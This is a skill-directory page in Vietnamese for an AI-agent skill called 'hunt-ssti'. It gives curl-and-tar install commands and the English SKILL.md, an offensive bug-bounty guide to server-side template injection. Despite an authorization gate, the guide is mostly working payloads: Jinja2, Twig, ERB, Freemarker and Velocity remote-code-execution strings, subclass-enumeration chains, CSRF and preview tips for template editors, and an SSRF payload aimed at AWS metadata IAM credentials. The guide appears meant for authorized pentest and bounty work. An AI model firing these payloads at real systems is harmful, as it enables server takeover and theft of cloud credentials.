hunt-ssti – skill Lập trình cho agent AI
Săn server-side template injection (SSTI) trên Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty.
Cài skill hunt-ssti bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-8c97a.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-ssti – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-8c97a.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-ssti – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-8c97a.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-ssti – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-8c97a.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-ssti – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Controlled testing priority
Start with harmless, uniquely marked engine-specific probes and a negative control
inside the written scope. Arithmetic evaluation can support SSTI but does not
alone identify an engine or prove command execution. Fingerprint from actual
behavior/configuration before choosing version-specific payloads; reflected text
may be literal, escaped, transformed or evaluated in another context.
Do not automatically escalate to RCE, OOB requests, stored templates or outbound
email. Stop at the least invasive proof sufficient for the engagement. Additional
execution, persistence or messages require explicit matching scope and a safe lab
or test account, approved collector and cleanup plan. Preserve/redact evidence;
do not access cloud metadata credentials or other users' data to prove impact.
---
14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
Detection Payloads (try all)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.RCE Payloads
Jinja2 (Python/Flask):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}ERB (Ruby):
<%= `id` %>Length-constrained injection fields (profile name, display name, subject)
When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full os.popen one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:
{{ '7'*7 }} # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX] ('id',shell=True,stdout=-1).communicate() }}The reflected sink is frequently an outbound email (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).
Where to Test
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflectedCMS / "documentation" template-editor forms (authenticated)
Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:
1. Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the
whole matrix and read which one evaluates:
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
{{7*7}} → 49 ⇒ Jinja2 / Twig
<%= 7*7 %> → 49 ⇒ ERB (Ruby)
*{7*7} → 49 ⇒ Thymeleaf (Spring)
If {{7*7}} renders literally but ${7*7}→49, you are on Freemarker — stop sending {{config...}}.
2. The record id is usually a QUERY param, not a body field. The editor form posts back to
POST /…/template?productId=N with the id in the URL. The BODY carries only
csrf, template, and a template-action (preview | save). Putting the id in the body returns
400 "Missing product id". So keep the id in the query string (?productId=N) AND send a
form-encoded body of csrf=…&template=<PAYLOAD>&template-action=preview.
3. Re-fetch the CSRF each time and use preview to iterate. GET the editor page to read a *fresh*
csrf hidden field; template-action=preview renders your payload WITHOUT persisting (fast feedback
loop). Switch to template-action=save only once the payload is right, then trigger the render
(load the public page that uses the template) to fire the command.
Freemarker documentation RCE (the documented Execute utility — this IS the intended technique):
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
Velocity equivalent: #set($e="e");$e.getClass().forName("java.lang.Runtime")....
---
Related Skills & Chains
hunt-rce— SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2{{config.__class__.__init__.__globals__['os'].popen('id').read()}}or Freemarker<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}→ unauthenticated RCE as the rendering worker. Escalate only when that effect is explicitly authorized and needed for the agreed evidence.hunt-xss— When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same{{7*7}}reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject<script>into rendered email template → stored XSS hitting every recipient who views the message.hunt-ssrf— Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}or Jinja2 withurl_for/custom filters → AWS metadata exfil → cloud creds.hunt-file-upload— Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whoseword/document.xmlcontains${T(java.lang.Runtime).getRuntime().exec("id")}to a Velocity/Freemarker-driven mail-merge → RCE.security-arsenal— Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (__subclasses__()[N]index hunting), Twig_self.envregisterUndefinedFilterCallback, Freemarker?new()Execute, ERB backticks, Velocity$class.inspect, Smarty{php}...{/php}, plus the WAF-bypass variants ({{request|attr('application')|...}}, Unicode escapes,{%print(...)%}).triage-validation— Apply the Pre-Severity Gate before claiming Critical RCE. A{{7*7}} → 49reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Proveid/OOB DNS callback with a unique marker before writing the report.
When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see
triage-validation) before reporting; report viareport-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
Skill liên quan
- hyperexecute-skill – Vận hành HyperExecute từ đầu đến cuối cho việc thực thi test trên cloud của TestMu…
- idea-refine – Tinh chỉnh ý tưởng thô thành khái niệm sắc bén, có thể hành động thông qua tư duy phân…
- idea-to-blueprint – Biến ý tưởng sản phẩm, ứng dụng, bot hoặc tính năng thô thành một bản thiết kế xây dựng…
- idor-testing – Cung cấp phương pháp có hệ thống để xác định và khai thác lỗ hổng Insecure Direct Object…
- stress-test – /em:stress-test: Kiểm tra độ bền các giả định kinh doanh. Dùng trước khi đặt cược vào kế…
- improve-codebase-architecture – Quét codebase để tìm cơ hội tối ưu kiến trúc, trình bày dưới dạng báo cáo HTML trực…
- strict-api – Dùng khi người dùng nói 'no hallucinations', 'verify APIs', 'reality check' hoặc 'don't…
- incident-response-smart-fix – Điều tra sự cố production, tái hiện nguyên nhân gốc, triển khai bản sửa có phạm vi rõ…